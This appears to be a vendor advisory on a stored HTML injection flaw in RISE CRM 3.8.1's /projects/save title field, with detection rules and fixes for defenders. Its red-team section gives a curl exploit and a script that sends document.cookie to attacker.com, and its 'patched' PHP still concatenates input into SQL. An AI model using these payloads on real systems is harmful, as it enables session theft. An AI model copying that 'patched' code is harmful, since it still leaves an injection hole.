CVE-2025-41101
Executive Summary
CVE-2025-41101 identifies a stored HTML injection vulnerability in Fairsketch’s RISE CRM Framework version 3.8.1. The flaw resides in the /projects/save endpoint, where the title parameter is not properly sanitized before being stored and later rendered in the application. An authenticated attacker with project creation privileges can inject arbitrary HTML code, leading to persistent content injection that may be used for phishing, defacement, or as a stepping stone to more severe client-side attacks (e.g., stored XSS if JavaScript is also injected). The vulnerability has a CVSS v3.1 base score of 4.8 (Medium), with a low attack complexity but requiring user interaction to trigger the injected content.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
RISE CRM is a PHP-based web application. The vulnerability is not in a third-party package but in the core application logic. No known supply chain compromise has been reported. However, organizations using RISE CRM should verify the integrity of their installation and monitor for any unofficial patches or forks.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N)
- Attack Complexity (AC): Low (L)
- Privileges Required (PR): Low (L) – requires an authenticated user with project creation rights.
- User Interaction (UI): Required (R) – a victim must view the injected project.
- Scope (S): Changed (C) – the injection can affect the victim’s browser session beyond the vulnerable component.
- Confidentiality (C): Low (L) – limited data exposure possible.
- Integrity (I): Low (L) – injected content can alter the page appearance.
- Availability (A): None (N)
Base Score: 4.8 (Medium)
Threat Level: Moderate. The requirement for authentication and user interaction reduces the immediate risk, but the persistence of the injection makes it a credible threat for targeted attacks within an organization.
Deep Dive & Mechanics
The vulnerability is a classic stored HTML injection. The /projects/save endpoint accepts a POST request with a title parameter. The application fails to sanitize or encode the input before storing it in the database. When the project is later viewed (e.g., on the project listing or detail page), the injected HTML is rendered by the browser.
Root Cause: Lack of output encoding and input validation. The application likely uses echo $title; or similar without htmlspecialchars() or equivalent.
Attack Flow:
- Attacker authenticates to RISE CRM.
- Attacker sends a POST request to
/projects/savewithtitle=<h1>Injected</h1><script>alert('XSS')</script>. - The payload is stored in the database.
- When any user (including admins) views the project list or detail page, the injected HTML/JavaScript executes in their browser.
Potential Impact:
- Defacement of the CRM interface.
- Phishing attacks by injecting fake login forms.
- Session hijacking if JavaScript is injected (though the CVE description only mentions HTML injection, JavaScript injection is a natural extension).
- Data exfiltration via injected scripts.
Vulnerable vs. Patched Code
Vulnerable Code (PHP example):
// In save_project.php
$title = $_POST['title'];
$query = "INSERT INTO projects (title) VALUES ('$title')";
mysqli_query($conn, $query);
Patched Code (PHP example):
// In save_project.php
$title = htmlspecialchars($_POST['title'], ENT_QUOTES, 'UTF-8');
$query = "INSERT INTO projects (title) VALUES ('$title')";
mysqli_query($conn, $query);
Additionally, output should be encoded:
// In view_project.php
echo htmlspecialchars($project['title'], ENT_QUOTES, 'UTF-8');
Exploitation & Lab Setup
Red Team
Prerequisites:
- Access to a RISE CRM v3.8.1 instance.
- Valid user credentials with project creation permissions.
Exploit Steps:
- Log in to RISE CRM.
- Craft a POST request to
/projects/savewith a malicioustitleparameter. - Example using cURL:
curl -X POST https://target.com/projects/save \ -c cookies.txt -b cookies.txt \ -d "title=<img src=x onerror=alert('XSS')>&description=test" - Navigate to the project list or the specific project page to trigger the payload.
Advanced Payload:
<script>
fetch('https://attacker.com/steal?cookie='+document.cookie);
</script>
Blue Team
Detection Steps:
- Monitor logs for POST requests to
/projects/savewith unusualtitleparameters containing HTML tags. - Use a WAF rule to block requests with
<script,<img,<iframe, or other HTML tags in thetitleparameter. - Implement input validation on the server side to reject or sanitize HTML in the
titlefield.
Lab Setup:
- Deploy a RISE CRM v3.8.1 instance in a sandboxed environment.
- Use Burp Suite or OWASP ZAP to intercept and modify requests.
- Simulate the attack and verify detection rules.
Indicators of Compromise (IOCs)
Network IOCs:
- POST requests to
/projects/savewithtitleparameter containing HTML tags (e.g.,<,>,&). - Outbound connections to unknown domains from the CRM server (if JavaScript exfiltration is used).
- POST requests to
Host IOCs:
- Database entries in the
projectstable where thetitlefield contains HTML or JavaScript. - Unexpected files in the web root (if the attacker uploads a file via another vector).
- Database entries in the
Log IOCs:
- Web server logs showing repeated POST requests to
/projects/savewith encoded HTML in thetitleparameter.
- Web server logs showing repeated POST requests to
Detection Engineering
YARA Rule
rule CVE_2025_41101_HTML_Injection {
meta:
description = "Detects HTML injection attempts in RISE CRM title parameter"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-41101"
strings:
$html_tag = /<[a-zA-Z\/!][^>]*>/
$script_tag = /<script[^>]*>/
$img_tag = /<img[^>]*>/
$onerror = /onerror\s*=\s*['"]?[^'"]*['"]?/
condition:
any of ($html_tag, $script_tag, $img_tag, $onerror)
}
Sigma Rule
title: CVE-2025-41101 - HTML Injection in RISE CRM Title Parameter
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to /projects/save with HTML tags in the title parameter
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-method: POST
cs-uri-stem: '/projects/save'
cs-uri-query|contains: 'title='
keywords:
- '<script'
- '<img'
- '<iframe'
- 'onerror='
- 'onload='
condition: selection and keywords
falsepositives:
- Legitimate use of HTML in project titles (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-41101 - HTML Injection in RISE CRM Title Parameter";
flow:to_server,established;
content:"POST"; http_method;
content:"/projects/save"; http_uri;
content:"title="; http_client_body;
pcre:"/<[a-zA-Z\/!][^>]*>/i";
sid:1000001;
rev:1;
reference:cve,2025-41101;
classtype:web-application-attack;
)
Remediation & Mitigation
Immediate Actions:
- Input Validation: Implement strict validation on the
titleparameter to allow only alphanumeric characters, spaces, and basic punctuation. Reject any HTML tags. - Output Encoding: Use
htmlspecialchars()(PHP) or equivalent in all places where thetitleis rendered. - WAF Rules: Deploy a Web Application Firewall rule to block POST requests to
/projects/savecontaining HTML tags in thetitleparameter.
Long-Term Fix:
- Upgrade to a patched version of RISE CRM once Fairsketch releases an update.
- Conduct a full security audit of the application for similar injection flaws.
Workaround:
- Disable project creation for untrusted users until a patch is applied.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert